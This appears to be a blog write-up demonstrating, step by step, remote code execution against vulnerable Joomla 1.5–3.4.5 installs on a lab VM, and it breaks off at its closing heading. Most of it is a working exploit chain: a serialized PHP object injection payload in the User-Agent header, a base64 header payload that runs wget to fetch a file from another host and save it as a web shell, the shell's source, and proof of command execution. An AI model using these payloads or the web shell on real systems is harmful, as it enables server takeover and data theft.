Exploiting Joomla Remote Code Execution The Hard Way!


After hearing about the latest Jooma RCE vulnerability which affects Joomla 1.5 – 3.4.5, I decided to do some research to try to understand how this vulnerability actually works. After many failed attempts, lots of confusion and frustration, I beat the urge to give up and was finally able to setup a test VM and exploit the vulnerability using a manual/custom approach (no pre-built exploits). My results are below for educational purposes only.

WHAT’S REQUIRED?

  1. A vulnerable version of Joomla from 1.5.0 to 3.4.5
  2. A vulnerable version of PHP before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.

INJECTING SESSION PAYLOAD

REQUEST #1:

GET /joomla/ HTTP/1.1
Host: 192.168.1.100
USER-AGENT: YHWEX}__YHWEXYHWEX|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:71:"eval(base64_decode($_SERVER['HTTP_YHWEX']));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ýýý
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

RAW PAYLOAD:

s:71:"eval(base64_decode($_SERVER['HTTP_YHWEX']));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ýýý

PAYLOAD ANALYSIS:

  1. s:71 value specifies length of payload
  2. eval(base64_decode($_SERVER[‘HTTP_YHWEX’])); – executes base64 encoded PHP commands sent to the HTTP_YHWEX header
  3. ýýý – UTF-8 characters required to truncate input in session table

RESPONSE #1:

HTTP/1.1 200 OK
Date: Wed, 23 Dec 2015 14:57:52 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.13
Set-Cookie: 75bc5a9af0cdeadbe58f55e3d9fe15ab=464rb7iho63i5goftgedr1q936; path=/; HttpOnly
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Wed, 23 Dec 2015 14:57:52 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 6167
Content-Type: text/html; charset=utf-8

* The important thing here is the session cookie value. This is required to retrieve our session in order to execute our payload:

Set-Cookie: 75bc5a9af0cdeadbe58f55e3d9fe15ab=464rb7iho63i5goftgedr1q936; path=/; HttpOnly

BLIND EXECUTION OF SESSION PAYLOAD

REQUEST #2:

GET /joomla/ HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: 75bc5a9af0cdeadbe58f55e3d9fe15ab=464rb7iho63i5goftgedr1q936;
YHWEX: c3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xOTIuMTY4LjEuMTQ1Ly50ZXN0aW5nL2NtZC50eHQgLU8gL3Zhci93d3cvam9vbWxhL2NtZC5waHAiKTs=
Content-Type: text/html
Content-Length: 0

* Notice the addition of the session cookie and custom HTTP header with our base64 encoded PHP payload PHP PAYLOAD

Cookie: 75bc5a9af0cdeadbe58f55e3d9fe15ab=464rb7iho63i5goftgedr1q936;
YHWEX: c3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xOTIuMTY4LjEuMTQ1Ly50ZXN0aW5nL2NtZC50eHQgLU8gL3Zhci93d3cvam9vbWxhL2NtZC5waHAiKTs=

BASE64 DECODED PAYLOAD:

system("wget http://192.168.1.145/.testing/cmd.txt -O /var/www/joomla/cmd.php");

CMD.PHP RAW CODE:

< FORM METHOD="GET" NAME="myform" ACTION="">
< INPUT TYPE="text" NAME="cmd">
< INPUT TYPE="submit" VALUE="Send">
< /FORM>
< ?
if($_GET['cmd']) {
  system($_GET['cmd']);
  }
? >

COMMAND EXECUTION

REQUEST #3:

GET /joomla/cmd.php?cmd=ls+-lh HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: 75bc5a9af0cdeadbe58f55e3d9fe15ab=lm3tc59u78esl0fq93cn130np2;
YHWEX: c3lzdGVtKCdlY2hvICc8P3BocCBzeXN0ZW0oJF9HRVRbY21kXSk7ID8+JyA+IC92YXIvd3d3L2pvb21sYS9jbWQucGhwJyk7
Content-Type: text/html
Content-Length: 0

RESPONSE #3:

HTTP/1.1 200 OK
Date: Wed, 23 Dec 2015 14:59:01 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.13
Vary: Accept-Encoding
Content-Length: 1800
Content-Type: text/html

< HTML>< BODY>
< FORM METHOD="GET" NAME="myform" ACTION="">
< INPUT TYPE="text" NAME="cmd">
< INPUT TYPE="submit" VALUE="Send">
< /FORM>
total 128K
-rwxrwxrwx  1 www-data www-data  18K Oct 22 05:48 LICENSE.txt
-rwxrwxrwx  1 www-data www-data 4.2K Oct 22 05:48 README.txt
drwxrwxrwx 10 www-data www-data 4.0K Oct 22 05:48 administrator
drwxrwxrwx  2 www-data www-data 4.0K Oct 22 05:48 bin
drwxrwxrwx  2 www-data www-data 4.0K Oct 22 05:48 cache
drwxrwxrwx  2 www-data www-data 4.0K Oct 22 05:48 cli
-rw-r--r--  1 www-data www-data  345 Aug 10 01:57 cmd.php
drwxrwxrwx 16 www-data www-data 4.0K Oct 22 05:48 components
-rwxrwxrwx  1 www-data www-data 1.8K Dec 17 10:53 configuration.php
-rwxrwxrwx  1 www-data www-data 2.9K Oct 22 05:48 htaccess.txt
drwxrwxrwx  5 www-data www-data 4.0K Oct 22 05:48 images
drwxrwxrwx  2 www-data www-data 4.0K Oct 22 05:48 includes
-rwxrwxrwx  1 www-data www-data 1.2K Dec 17 11:13 index.php
-rw-r--r--  1 www-data www-data  106 Dec 23 20:29 joomla_rce.sh
-rwxrwxrwx  1 root     root       94 Dec 22 19:33 joomlatest.php
drwxrwxrwx  4 www-data www-data 4.0K Oct 22 05:48 language
drwxrwxrwx  5 www-data www-data 4.0K Oct 22 05:48 layouts
drwxrwxrwx 11 www-data www-data 4.0K Oct 22 05:48 libraries
drwxrwxrwx  2 www-data www-data 4.0K Dec 22 19:38 logs
drwxrwxrwx 18 www-data www-data 4.0K Oct 22 05:48 media
drwxrwxrwx 27 www-data www-data 4.0K Oct 22 05:48 modules
drwxrwxrwx 14 www-data www-data 4.0K Oct 22 05:48 plugins
-rwxrwxrwx  1 www-data www-data  842 Oct 22 05:48 robots.txt
drwxrwxrwx  5 www-data www-data 4.0K Oct 22 05:48 templates
drwxrwxrwx  2 www-data www-data 4.0K Oct 22 05:48 tmp
-rwxrwxrwx  1 www-data www-data 1.7K Oct 22 05:48 web.config.txt
-rw-r--r--  1 www-data www-data 1.5K Oct  7 05:17 weevely_shell.php

MORAL OF THE STORY?